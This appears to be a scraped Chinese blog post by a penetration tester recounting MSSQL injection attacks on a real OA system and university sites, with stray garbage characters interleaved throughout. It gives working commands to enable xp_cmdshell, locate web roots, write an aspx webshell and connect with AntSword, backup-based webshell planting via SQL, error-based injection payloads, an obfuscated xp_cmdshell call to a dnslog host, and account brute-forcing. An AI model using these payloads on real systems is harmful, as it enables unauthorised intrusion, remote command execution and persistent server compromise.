|
' _( Y# ]/ V5 d+ u; E0 W
上次写了一篇文关于SQL注入的文章,居然有人说SQL注入过时了!!!
! V4 w0 h' ^ C. \6 s) q 前言:本次用4个有趣的实战案例来分别讲:狠–常见getshell快–快速报错注入准–字符长度100限制下注入绕–绕福某大学安全狗虽然只有4个实战案例,但真的挺实用、通用哦,当然此次都是站在前辈肩膀上实践总结的可能还不够全,如有分析不足的地方望各位大佬指正! ) z o3 h; h8 p, n- g8 K, |
狠–常见getshell:实战一:这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令… 6 H" d! j% O& R3 h
先说可以xp_cmdshell部分:xp_cmdshell写shell技巧:条件:sa权限,常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启
) p4 g0 n) R2 f, a 开启方法#开启方法3 I, K' u( b8 R# e: \) R# z0 q
execute(sp_configure "show advanced options",1) #将该选项的值设置为1
x( U, M" O# w execute(reconfigure)
* y& {; p( }: i# ?4 X #保存设置1 m2 I: l5 O% Y9 J- H3 W9 `6 M
execute(sp_configure "xp_cmdshell", 1) #将xp_cmdshell的值设置为1
" m+ O# G7 B! D$ `# V, ]$ N$ I execute(reconfigure) , w# t, ~( _6 W! X$ i( s+ A
#保存设置# c2 W9 x4 D- d; C# p- W' x( \# B
execute(sp_configure) #查看配置4 a! Z7 S# l1 a8 D$ l' Y9 W) S' j: J
execute(xp_cmdshell "whoami") % x; S, ~1 Z( x
#执行系统命令
& @8 q) L7 m7 ?0 n- V 或者
8 e! O8 t* @9 I: G1 a exec sp_configure show advanced options,1;1 A5 ]; j, | w1 f9 \2 \; \
reconfigure;
0 S) B- Z9 [0 }0 }# T0 l% M ~ exec sp_configure xp_cmdshell,1;
6 g, t7 Z: }) l+ j. Z reconfigure;
9 ?2 m1 v7 x7 @# O* t8 J ' J, q- g1 a3 n' F7 b+ q: H2 ?) ]; ]
exec sp_configure;8 ]9 T3 U% O' L8 s# f A. r
exec xp_cmdshell whoami;8 N( |; n4 ` H+ p9 N. |8 d
exec master ..xp_cmdshell "ping dnslog"上面执行开启命令后,执行一下 whoami ,system 权限,直接起飞!
7 i- ?) E" s9 N& ~ V1 L 写shell技巧:先找网站根路径:exec xp_cmdshell where /r d:\ *.aspx;
* G- r) }+ Q, n3 T: B7 K( Y 直接写入aspx文件同目录却访问不了,麻了!问了一下同事,他说:估计做了和springboot类似的路由映射,但静态文的目录可能不会走路由. 访问路径如下 7 E' E3 V, Q: Z; d
故再找根路径下绝对静态可解析路径:exec xp_cmdshell where /r D:\OA *.jpg;
6 i- J7 S) ?, `- h7 m + Q k3 j1 C$ v+ {2 I3 M0 @3 q
写shell,这里也需要注意一点,dos对尖括号<>会报错,所以需要用^转义一下,或者echo"一句话" > hack.aspx 用双引号echo ^<^%@ Page Language="Jscript"
, Y: M3 v! P; a) S$ n, k %^>^^ >d:\xx\xx.aspx
9 p- C5 L# a4 K0 c, k8 ]2 z 然后倚天大剑(蚁剑)连接http://x.x.x.x/login/login/xx.aspx 2 ~# @0 R0 P4 e# s7 D- Q
即可.其它gethell大全:剩下不可以xp_cmdshell的,但其它大多getshell方法,都没法用这些方法前提条件都是:SQL Server 2008不可用,SQL Server 2000可用因为我这版本是SQL Server 2008不可用,吐了!!于是只好备份getshell 8 u) T7 u8 y, P4 w& x! B1 S' z
备份getshell 至少DBO权限)log备份(推荐):优势:1、重复性好,多次备份的成功率高2、相对于差异备份而言,shell的体积较小利用条件:1、前提得知绝对路径,并且可写2、站库不分离3、数据库必须被备份过一次 5 D7 h' H4 E+ q2 v% C$ L
;alterdatabase 库名 setRECOVERYFULL--
' V; i, W! Y( u8 _ A ;createtable 数据库名..表名(a image)-- //建表$ ^6 P& F( r( s5 B. }& I
;insertinto 数据库名..表名(a)
9 n- W6 L- X: p2 B5 l: H values (0x一句话木马)-- //插入一句话木马到表中,注意16进制
8 O& M; T% Z4 c* I6 M2 U. h3 |8 N
& r, ?, S w1 D! W/ Q ;backupdatabase 数据库名 to disk = c:\www\panda.bak-- //先手动给数据库备份一遍
) n; J t% `: ]
, q" ~* B4 K0 W' T& K6 {
4 _2 B2 B, t6 P* } Z ;backuplog 数据库名 to disk = c:\www\panda.aspwith init-- //利用log备份到web路径getshell差异备份的条件:1、前提知道绝对路径,路径可写。 0 m8 b3 x1 l: N
2、HTTP 500错误不是自定义3、WEB和数据在一块还有的就是数据库中不能存在%号之类的,不然也是不成功的4、数据量不能太大;backupdatabase 库名 to disk = c:\bak.bak。
$ G- S7 w8 Q/ a ;-- //先手动备份一次
1 e0 e1 A. f# k& s ;createtable 数据库名..表名(a image)-- //建立表,加字段
0 h" E' \2 z1 [7 i2 n- i1 T( K ;insertinto 数据库名..表名(a) values (0x一句话木马) 6 z& U3 R; d5 {7 N$ b
-- //插入一句话木马到表中,注意16进制
6 S) Z9 f3 ~; L5 @* C ;backupdatabase 库名 to disk = c:\shell.aspwith differential , format ;-- //进行差异备份
o2 Y3 p3 {! Y% N 小结:备份getshell这一般对php和asp有用,注意asp备份生成的文件经常有没有闭合的问题,但aspx我暂时没找到成功例子我这是aspx的2种备份都试了,但因为备份后会插入多个shell如下
! C9 v2 P8 ~% |- @ 导致:出现多次,报错:只能有一个page指令 试了闭合和其它方法不行 * \9 G5 R) J6 q- V. S) Q- G$ |) e7 i
快–快速报错注入:实战二:mssql报错注入很方便,但柯大佬也没完善总结,我试了几种方法,这里快速报错最快,且在之后的手工注入很实用: 1 c1 T* Q& f% w$ t
注册一个账号但要审核,如上图消息里得到账号规律,对后4位数爆破,成功 00xxxxx 123456然后登录后台,在某处发现sql注入:Users/xx.ashx?ID=00) and 1=1 --+ //闭合成功 " T7 N; W9 c6 |+ l. Z3 j
, H( P5 Q8 s0 v6 ^
) and 1=convert(int,user_name()) --+ #查当前数据库用户,结果不是sa- J2 ]/ b/ z Y1 W# T
1)/**/;/**/exec/**/master ..xp_cmdshell /**/"ping xx.dnslog.cn"
( n3 N1 v7 G5 c! R% E --#不死心,执行一下cmdshell  u# T6 H& Y8 ]1 P
我是一名安全渗透测试工程师,热爱安全行业,用心做安全,在工作的同时学习知识,另外,我积攒了一些网络安全的学习视频和资料,需要的可以下载学习关注我,私信回复“资料”免费获取网络安全视频、渗透测试、工具包、应急响应、web安全等架构资料。 : p s4 p' L7 s# ~) f" [# |
# F6 k, `. ?$ M8 {% s8 s
" z4 v( w+ ]6 o: z _# i$ l5 P. }9 t2 k' i1 G0 \: T l! Z
' P1 H: |& e8 S# y- U$ c, |. i
|